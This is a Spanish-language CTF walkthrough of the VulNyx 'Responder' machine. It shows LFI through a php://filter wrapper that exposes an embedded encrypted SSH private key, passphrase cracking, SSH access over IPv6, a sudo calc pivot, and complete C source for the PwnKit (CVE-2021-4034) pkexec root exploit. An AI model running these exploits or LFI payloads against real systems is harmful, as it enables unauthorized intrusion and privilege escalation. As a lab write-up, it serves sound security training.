eldeim

Responder es una maquina Linux de dificultad intermedia de la plataforma VulNyx creada por d4t4s3c, testeada en VirtualBox y VMware.

Skills usadas:

  • HTTP Brute Force Enumeration
  • LFI PHP
  • IPV6 Scanning with nmap
  • Cracking | Private Key (id_rsa)
  • User Pivoting
  • Abusing calc Binary
  • Abusing pkexe Binary

Reconocimiento — Nmap

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv -oG allPorts 192.168.18.211
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http

ssh:22 flitrado || http:80

Escaneo de Servicios

nmap -p22,80 -sCV 192.168.18.211 -oN targeted
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)

Nada interesante… veamos la web

http:80

Enumeración | HTTP

Gobuster — Reconocimiento de directorios

gobuster dir -u http://192.168.18.211/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 15 --add-slash -x txt,html,php
===============================================================
/index.html (Status: 200) [Size: 31]
/icons/ (Status: 403) [Size: 279]
/filemanager.php (Status: 302) [Size: 0] [--> /]
/server-status/ (Status: 403) [Size: 279]

Vemos un /filemanager.php status:302, curioso…

Vamos a probar si de puede hacer un LFI (Local File Inclusion) con wfuzz

wfuzz -c -t 20 --hc=404 --hw=0 -u 'http://192.168.18.211/filemanager.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirb/common.txt

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000003267: 302 27 L 39 W 1430 Ch "random"

/filemanager.php?random

Si intentamos ver el /filemanger.php desde la web nos redirige al home /

Asi que… hagámoslo con BurpSuite

/filemanager?random=/etc/passwd

Vos el /etc/passwd y tenemos dos usuarios relevantes:

elliot || rohit

LFI — /filemanager.php?random

Sabiendo que esta el ssh activado voy a intentar ver el id_rsa de cada usuario pero no hubo suerte…

Tambien intente leer el codigo del php, pero tampoco…

Buscando forma de leer archivos atreves de un LFI vi los Wrappers, este nos permite “ofuscar” archivos en base64 para después “des ofuscarlos” en nuestro equipo y ver su contenido, tal que asi;

php://filter/convert.base64-encode/resource=<archivo>

Asi que hagamos un curl del archivo /filemanager.php y después un (base64 -d)para “des ofuscarlo”

curl -X GET "http://192.168.18.211/filemanager.php?random=php://filter/convert.base64-encode/resource=/var/www/html/filemanager.php" | base64 -d > filemanager.txt

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2464 100 2464 0 0 98339 0

Genial! Se descargo como filemanager.txt

   1   │ <?php
2 │ $filename = $_GET['random'];
3 │ include($filename);
4 │ header('Location:/');
5 │
6 │
7 │ /*
8 │
9 │ -----BEGIN RSA PRIVATE KEY-----
10 │ Proc-Type: 4,ENCRYPTED
11 │ DEK-Info: DES-EDE3-CBC,411124D3C302D4F4
12 │
13 │ XC2kbWNBYa20zDArT6BMeCgKa9oRs8T5sCVws1wGik8ZWChF4h6N9TzDnDGEMUPG
14 │ X+lKp/fDKiZxmJdWu3WhLjgiXNbvX+fLiKZpWBzCAVpwSicS/jjIopzzWjE3PAB7
15 │ vRfwdqdiaFK7mQxLJ3o/yrK2CCI8ud2UlEEk8DxTMGklmff8cbhrWIc+by+9AS9t
16 │ vKd7hrsoLR6FaxBmfdO4dr1Qn9PZkvohHnMnpI7fdEC2Q3aqu6tFIODcVm6rBaII
17 │ QM0CIRdWH/WiW7XmtJUriF55rQRJq4+ShXWtWKBXyJnYvyEduqQhieJ0BA9ZJjzy
18 │ myaV1V5l0eKMhxWWBkYaz6bmFsLpbmXBBgIaiozKSKIMGWa1sWCAGv0EmMDRnDG4
19 │ ClxkqgnDcgYskrdZLPJ5YN77M9OuB30/VIGXjzskJPp2XaubzYS7BvNjTbiD5uCU
20 │ i1fHEzpPI/QeHQ25XlqlGCUla6b8mLFKMM91KcjO6TOSYgArC+kykbuqgDPMc7kt
21 │ MKhxrsykmpkNz6FxsF78k/bmstPNbYDsa4ynzlIpiQHms+papIDcsHM4rUDib8Jh
22 │ HQMfjbSchpL0YxVXAiz4Nvo33VQxp1WRh0geoO3bYz1D94FvozpeILFexnKaQeT3
23 │ GLCLNyZ1BK/p5KKh5F1OhUU0brghzks5NjFYfNoGdnKfRsOIA+6X97AiDjqg9mk4
24 │ YfbOgKHl75uELy41WzuNnuynfwWkANz7BhWV/QCLS7NiyaCucXJBJj3LRdT4Ckqf
25 │ 3F1SNgshDq4vDC4RwkJW2umTmDpW0rZ3syzeb9P4/bmQXkWX/btoIJzmnB6y++Bs
26 │ XIrtZKa1yJ6/M0XA6tGTi+bnYD0wOmoU64M3l21HXvQUOXgSg5o0jIJQceTKcIN/
27 │ wLLNM0ybmzq7z+MlLGrpyOez/fSAECvagyUZRmnks0eRR1oKzMS00e+qEFJ4GmeE
28 │ Yu2dITC6I3pVRZQGcCsZWCX+BP+64Lcdz4/n5lensjab0jd28Kc72sraDteSlP/Y
29 │ wWZM9sYbXtcs14cIPpW3a1dbkOT1WGEwjt0X0F0DNgApvA8XnlTr+whJVaMByA4U
30 │ t3UQHVUINNoLnX7uSBPo96yWcwAMuXjk8j3ZaFVd5rOGq/Xd0pKBBARd2Un9QZnN
31 │ 4PzEWF1d9/BObzSeo2dVEZgYXcRE3v0oEZImFIoxQcvgoxxeYjNViX0SsYEJfA9F
32 │ Pg8ZQ6R+ZjA3pU1DqBxWnErHDyeGsnVBs8VIQKOiiZMeB12Tx9b9k8E6rjRIw6La
33 │ UbzpR+4CVgToD5TZBDpHhWHdPcv3JuNAb49XGdsL889uTwBX+fSTvL6FkXtZjySX
34 │ gm6v5x/OPZg4BB/CnCWSeiG+rW0iMU4TGE5LqfuyBZBOhVcDtri3qpYLGH/5NKfw
35 │ dq15m9rReh/Jec6Z8BNi9Xo5gEjGglQA/Tfw2VqCmrsMaU3iNMNXLKrYTcsm0qHb
36 │ vRYvQl9GgeApdrZ/BY/ySb6OjNUS1Nc9Viv0AM9iCHp4tH6OfmVpnVzDuojdkXiZ
37 │ lB/vwbCo9CcBZt7lM91Hl60ZlhLsOa/69PAeC3cZR2Z1svVk1gcDrw==
38 │ -----END RSA PRIVATE KEY-----
39 │
40 │
41 │ */
42 │
43 │ ?>

Okay xd, vemos el id_rsa, lo copio y pego en un txt

Ahora hagamos un RSACrack para intentar sacar la contraseña

RSACrack

elliot:elliott

Muy xd la verdad

La conexión por shh a elliot no se pude hacer por IPv4 ya que esta filtrado peroo… quizás, se pueda hacer por IPv6. Hay que saber que ip tiene esta maquina en IPv6

Como tenemos un LFI podemos intentar apuntar al archivo if_inet6 ubicado en la ruta /proc/net/

curl -X GET "http://192.168.18.211/filemanager.php?random=php://filter/convert.base64-encode/resource=/proc/net/if_inet6" 2>/dev/null | base64 -d
00000000000000000000000000000001 01 80 10 80 lo
2a0746400004ff50020c29fffe734692 02 40 00 00 ens33
fe80000000000000020c29fffe734692 02 40 20 80 ens33

Okay, en mi caso es la del medio (2a0746400004ff50020c29fffe734692)

Get eldeim’s stories in your inbox

Join Medium for free to get updates from this writer.

Solo cogemos hasta antes de los espacios y ahora separamos por : cada 4 caracteres;


echo "2a0746400004ff50020c29fffe734692" | sed 's/.\{4\}/&:/g; s/:$//'

2a07:4640:0004:ff50:020c:29ff:fe73:4692

2a07:4640:0004:ff50:020c:29ff:fe73:4692 — IPv6

Probamos si es esta la ip correcta con nmap por ejemplo

nmap -p22 -6 2a07:4640:0004:ff50:020c:29ff:fe73:4692
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 00:0C:29:73:46:92 (VMware)

Ahora probemos a conectarnos

SSH Conexión

ssh elliot@2a07:4640:0004:ff50:020c:29ff:fe73:4692 -i id_rsa

Dentro!!

Press enter or click to view image in full size

ssh conexion

Vemos que haciendo un “sudo -l” podemos ejecutar como rohit el /usr/bin/calc

User Pivoting

Lo ejecutamos;

Press enter or click to view image in full size

sudo -u rohit /usr/bin/calc

Ya somos rohit!!

Escalada de Privilegios

Nos pide contraseña para el sudo -l, asi que buscamos desde la raiz archivos SUID

Press enter or click to view image in full size

find SUID

Vemos el pkexec, vemos su versión

pkexec version

PKEXEC Escalation

Hay dos formas de hacerlo:

Manera 1 (Maquina sin acceso a internet):

Nos vamos por ejemplo al /tmp y creamos dos archivos (pkexploit-so.c || pkexploit.c)

pkexploit-so.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);

execve("/bin/sh", NULL, NULL);
}

pkexploit.c

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };

system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);

execve(BIN, argv, envp);

return 0;
}

Una vez creados, compilamos ambos;

gcc -shared -o pkexploit.so -fPIC pkexploit-so.c
gcc pkexploit.c -o pkexploit

Por ultimo, ejecutamos

rohit@responder:/tmp$ ./pkexploit

root

Okay! root

Manera 2 (Maquina con acceso a internet):

Nos vamos por ejemplo al /tmp y hacemos un git clone de este CVE; https://github.com/berdav/CVE-2021-4034

rohit@responder:/tmp$ git clone https://github.com/berdav/CVE-2021-4034

Entramos y acememos un make para crear un compilado del binario

rohit@responder:/tmp/CVE-2021-4034$ make

Y ejecutamos

rohit@responder:/tmp/CVE-2021-4034$ ./cve-2021-4034.sh
root — Manera2

Bingo!

Flags — Censuradas

Rohit

cat /home/rohit/user.txt 
28bf*****************35474

Root

cat /root/root.txt 
981f4*****************d47

by ElDeim